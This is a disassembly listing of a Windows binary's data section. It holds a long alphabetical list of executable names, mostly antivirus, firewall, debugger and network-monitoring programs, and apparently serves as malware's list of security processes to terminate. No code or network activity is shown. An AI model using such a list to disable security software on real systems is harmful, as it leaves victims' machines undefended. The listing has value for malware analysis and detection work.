aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: .data:00431CF4o
					; .data:00431CF8o
		align 8
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: .data:00431CF0o
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: .data:00431CECo
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: .data:00431CE8o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: .data:00431CE4o
		align 10h
		dd 0
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: .data:00431CE0o
		dd 0
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: .data:00431CDCo
		align 4
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: .data:00431CD8o
		align 4
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: .data:00431CD4o
		dd 0
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: .data:00431CD0o
		dd 0
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: .data:00431CCCo
		align 10h
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: .data:00431CC8o
		align 10h
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: .data:00431CC0o
					; .data:00431CC4o
		align 10h
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: .data:00431CBCo
		dd 0
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: .data:00431CB8o
		align 4
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: .data:00431CB4o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: .data:00431CB0o
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: .data:00431CACo
		align 10h
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: .data:00431CA8o
		align 10h
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: .data:00431CA4o
		align 10h
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: .data:00431CA0o
		align 10h
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: .data:00431C9Co
		align 10h
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: .data:00431C98o
		align 10h
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: .data:00431C94o
		align 10h
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: .data:00431C90o
		align 10h
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:00431C8Co
		align 4
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:00431C88o
		align 10h
		dd 0
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: .data:00431C84o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:00431C80o
		align 4
		dd 0
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: .data:00431C7Co
		dd 0
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: .data:00431C78o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: .data:00431C74o
		align 4
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: .data:00431C70o
		align 10h
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: .data:00431C6Co
		align 10h
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: .data:00431C68o
		align 10h
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: .data:00431C64o
		align 10h
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:00431C60o
		align 4
		dd 0
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: .data:00431C5Co
		align 10h
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: .data:00431C58o
		align 10h
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: .data:00431C54o
		align 10h
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: .data:00431C50o
		align 10h
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: .data:00431C4Co
		align 10h
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: .data:00431C48o
		dd 0
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: .data:00431C44o
		align 8
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: .data:00431C40o
		align 4
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: .data:00431C3Co
		dd 0
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: .data:00431C38o
		align 10h
		dd 0
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: .data:00431C34o
		align 10h
		dd 0
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: .data:00431C30o
		align 10h
		dd 0
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: .data:00431C2Co
		dd 0
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: .data:00431C28o
		align 10h
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: .data:00431C24o
		align 10h
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:00431C20o
		align 10h
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: .data:00431C1Co
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: .data:00431C18o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: .data:00431C14o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:00431C10o
		align 10h
		dd 0
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:00431C0Co
		align 10h
		dd 0
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: .data:00431C08o
		align 10h
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: .data:00431C04o
		align 10h
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: .data:00431C00o
		align 10h
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: .data:00431BFCo
		align 10h
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: .data:00431BF8o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: .data:00431BF4o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: .data:00431BF0o
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: .data:00431BECo
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: .data:00431BE8o
		align 4
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: .data:00431BE4o
		dd 0
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: .data:00431BE0o
		align 4
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: .data:00431BDCo
		align 4
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: .data:00431BD8o
		align 10h
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: .data:00431BD4o
		align 4
aMsconfig_exe	db 'MSCONFIG.EXE',0     ; DATA XREF: .data:00431BD0o
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: .data:00431BCCo
		align 4
		dd 0
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: .data:00431BC8o
		dd 0
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: .data:00431BC4o
		dd 0
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .data:00431BC0o
		dd 0
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: .data:00431BBCo
		align 4
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: .data:00431BB8o
		align 4
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: .data:00431BB4o
		align 10h
		dd 0
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: .data:00431BB0o
		dd 0
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: .data:00431BACo
		align 8
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: .data:00431BA8o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: .data:00431BA4o
		align 8
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: .data:00431BA0o
		align 8
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: .data:00431B9Co
		align 8
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: .data:00431B98o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: .data:00431B94o
		dd 0
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: .data:00431B90o
		align 10h
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: .data:00431B8Co
		align 10h
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: .data:00431B88o
		align 10h
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: .data:00431B84o
		align 10h
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:00431B80o
		align 8
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: .data:00431B7Co
		align 8
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: .data:00431B78o
		align 8
aMd_exe		db 'MD.EXE',0           ; DATA XREF: .data:00431B74o
		align 10h
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: .data:00431B70o
		align 10h
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: .data:00431B6Co
		align 10h
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: .data:00431B64o
					; .data:00431B68o
		align 10h
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: .data:00431B60o
		align 10h
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: .data:00431B5Co
		align 10h
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: .data:00431B58o
		align 10h
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: .data:00431B54o
		align 10h
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: .data:00431B50o
		align 10h
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: .data:00431B4Co
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: .data:00431B48o
		align 4
		dd 0
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: .data:00431B44o
		align 10h
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: .data:00431B40o
		align 4
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: .data:00431B38o
					; .data:00431B3Co
		align 4
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: .data:00431B34o
		align 8
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: .data:00431B30o
		align 8
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: .data:00431B2Co
		align 8
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:00431B28o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: .data:00431B24o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: .data:00431B20o
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: .data:00431B1Co
		align 4
		dd 0
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: .data:00431B18o
		align 4
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: .data:00431B14o
		align 4
		dd 0
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: .data:00431B10o
		align 4
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: .data:00431B0Co
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: .data:00431B08o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: .data:00431B04o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:00431B00o
		dd 0
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .data:00431AFCo
		align 4
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:00431AF8o
		align 10h
		dd 0
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:00431AF4o
		align 10h
		dd 0
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:00431AF0o
		align 10h
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: .data:00431AECo
		align 10h
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: .data:00431AE8o
		align 4
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: .data:00431AE4o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:00431AE0o
		align 4
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:00431ADCo
		align 10h
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: .data:00431AD8o
		align 4
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: .data:00431AD4o
		dd 0
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: .data:00431AD0o
		align 4
		dd 0
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: .data:00431ACCo
		align 4
		dd 0
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: .data:00431AC8o
		align 4
		dd 0
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .data:00431AC4o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: .data:00431AC0o
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: .data:00431ABCo
		dd 0
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: .data:00431AB8o
		dd 0
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: .data:00431AB4o
		align 10h
		dd 0
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: .data:00431AB0o
		align 10h
		dd 0
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: .data:00431AACo
		align 10h
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: .data:00431AA8o
		align 10h
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: .data:00431AA4o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: .data:00431AA0o
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: .data:00431A9Co
		dd 0
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: .data:00431A98o
		align 4
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: .data:00431A94o
		align 4
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: .data:00431A90o
		align 4
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: .data:00431A8Co
		align 4
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: .data:00431A88o
		align 10h
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: .data:00431A84o
		align 10h
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: .data:00431A7Co
					; .data:00431A80o
		align 10h
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: .data:00431A78o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: .data:00431A74o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: .data:00431A70o
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: .data:00431A6Co
		dd 0
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: .data:00431A68o
		align 4
		dd 0
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: .data:00431A64o
		align 4
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: .data:00431A60o
		dd 0
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: .data:00431A5Co
		align 4
		dd 0
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: .data:00431A58o
		align 4
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: .data:00431A54o
		align 4
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: .data:00431A50o
		align 10h
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: .data:00431A4Co
		align 10h
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: .data:00431A48o
		align 4
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: .data:00431A44o
		align 4
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: .data:00431A40o
		align 4
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: .data:00431A3Co
		align 4
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: .data:00431A38o
		align 8
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:00431A34o
		align 10h
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: .data:00431A30o
		align 10h
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: .data:00431A2Co
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: .data:00431A28o
		align 8
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: .data:00431A24o
		align 4
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: .data:00431A20o
		align 8
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: .data:00431A1Co
		align 8
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: .data:00431A18o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: .data:00431A14o
		align 10h
		dd 0
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: .data:00431A10o
		align 10h
		dd 0
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: .data:00431A0Co
		align 10h
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: .data:00431A08o
		align 10h
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: .data:00431A04o
		align 10h
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:00431A00o
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:004319FCo
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: .data:004319F8o
		align 8
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: .data:004319F4o
		align 4
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: .data:004319F0o
		align 10h
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: .data:004319ECo
		dd 0
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: .data:004319E8o
		align 4
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:004319E4o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: .data:004319E0o
		align 4
		dd 0
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: .data:004319DCo
		align 4
		dd 0
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:004319D8o
		align 10h
		dd 0
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: .data:004319D4o
		align 4
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: .data:004319D0o
		align 4
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: .data:004319CCo
		align 10h
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: .data:004319C8o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: .data:004319C4o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: .data:004319C0o
		align 8
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: .data:004319BCo
		align 8
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: .data:004319B8o
		align 4
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: .data:004319B4o
		align 8
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: .data:004319B0o
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: .data:004319ACo
		align 8
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: .data:004319A8o
		align 8
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: .data:004319A4o
		align 4
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:004319A0o
		align 10h
		dd 0
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: .data:0043199Co
		align 10h
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: .data:00431998o
		align 10h
		dd 0
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: .data:00431994o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: .data:00431990o
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: .data:0043198Co
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: .data:00431988o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: .data:00431984o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: .data:00431980o
		align 10h
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: .data:0043197Co
		dd 0
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: .data:00431978o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: .data:00431974o
		align 8
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: .data:00431970o
		align 4
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: .data:0043196Co
		align 8
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: .data:00431968o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: .data:00431964o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: .data:00431960o
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .data:0043195Co
		dd 0
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: .data:00431958o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: .data:00431954o
		align 10h
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: .data:00431950o
		align 10h
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: .data:0043194Co
		dd 0
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: .data:00431948o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: .data:00431944o
		align 8
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: .data:00431940o
		align 4
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: .data:0043193Co
		align 4
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: .data:00431938o
		align 10h
		dd 0
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: .data:00431934o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: .data:00431930o
		align 8
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: .data:0043192Co
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: .data:00431928o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: .data:00431924o
		align 8
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: .data:0043191Co
		align 8
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: .data:00431918o
		align 4
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: .data:00431914o
		align 8
aCv_exe		db 'CV.EXE',0           ; DATA XREF: .data:00431910o
		align 10h
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: .data:0043190Co
		align 4
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: .data:00431908o
		align 4
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: .data:00431904o
		align 4
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: .data:00431900o
		align 8
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:004318FCo
		align 10h
		dd 0
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: .data:004318F8o
		dd 0
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: .data:004318F4o
		align 4
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: .data:004318F0o
		align 10h
		dd 0
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: .data:004318ECo
		align 10h
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: .data:004318E8o
		align 4
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: .data:004318E4o
		dd 0
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: .data:004318E0o
		align 4
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: .data:004318DCo
		dd 0
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: .data:004318D8o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: .data:004318D4o
					; .data:00431920o
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: .data:004318D0o
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: .data:004318CCo
		align 8
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: .data:004318C4o
					; .data:004318C8o
		align 4
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: .data:004318C0o
		align 4
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: .data:004318BCo
		align 8
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: .data:004318B8o
		dd 0
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: .data:004318B4o
		align 10h
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: .data:004318B0o
		align 10h
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: .data:004318ACo
		align 10h
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: .data:004318A8o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: .data:004318A4o
		align 8
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: .data:004318A0o
		align 8
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: .data:0043189Co
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: .data:00431898o
		align 10h
		dd 0
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: .data:00431894o
		align 10h
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: .data:00431890o
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: .data:0043188Co
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: .data:00431888o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: .data:00431884o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: .data:00431880o
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: .data:0043187Co
		align 8
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: .data:00431878o
		align 4
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:00431874o
		align 4
		dd 0
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: .data:00431870o
		align 4
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: .data:0043186Co
		align 4
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: .data:00431868o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: .data:00431864o
		align 10h
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .data:00431860o
		align 10h
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0043185Co
		align 8
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: .data:00431858o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: .data:00431854o
		align 8
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: .data:0043184Co
					; .data:00431850o
		align 8
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:00431848o
		align 4
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:00431844o
		align 10h
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: .data:00431840o
		align 10h
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: .data:00431838o
					; .data:0043183Co
		align 10h
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: .data:00431834o
		align 10h
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: .data:00431830o
		align 10h
